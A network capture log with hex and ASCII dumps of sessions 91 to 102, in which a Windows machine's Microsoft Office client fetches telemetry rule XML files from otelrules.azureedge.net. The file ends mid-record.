Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:52 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075653Z-174f7845968j6t2phC1EWRcfe80000000yb00000000042z3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:53 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:53 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:54 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 451890cd-001e-0065-1114-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075654Z-174f7845968psccphC1EWRuz9s0000000yfg0000000018hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:54 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:54 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:54 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075654Z-174f78459685726chC1EWRsnbg0000000y70000000004gvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:55 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:54 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:54 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 4506793e-f01e-0071-0b15-41431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075654Z-174f7845968xlwnmhC1EWR0sv80000000xz0000000005y2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:55 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:55 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:55 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075655Z-174f784596886s2bhC1EWR743w0000000y3g00000000a3hk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:55 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:56 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:57 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075657Z-174f78459688l8rvhC1EWRtzr00000000as0000000005cas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:57 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:56 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:57 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: e4738428-701e-006f-2050-41afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075657Z-174f7845968pght8hC1EWRyvxg00000001bg000000002246 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:57 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:56 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:57 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075657Z-174f7845968px8v7hC1EWR08ng0000000ye0000000003mtq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:57 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:57 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:57 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075657Z-174f7845968kdththC1EWRzvxn0000000ak000000000218w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:57 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:58 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:58 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075658Z-174f7845968vqt9xhC1EWRgten0000000y60000000005c44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:58 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:59 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:59 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075659Z-174f7845968kdththC1EWRzvxn0000000ak00000000021c0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:59 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:59 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:59 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075659Z-174f7845968swgbqhC1EWRmnb40000000y9g000000005rm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:59 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" 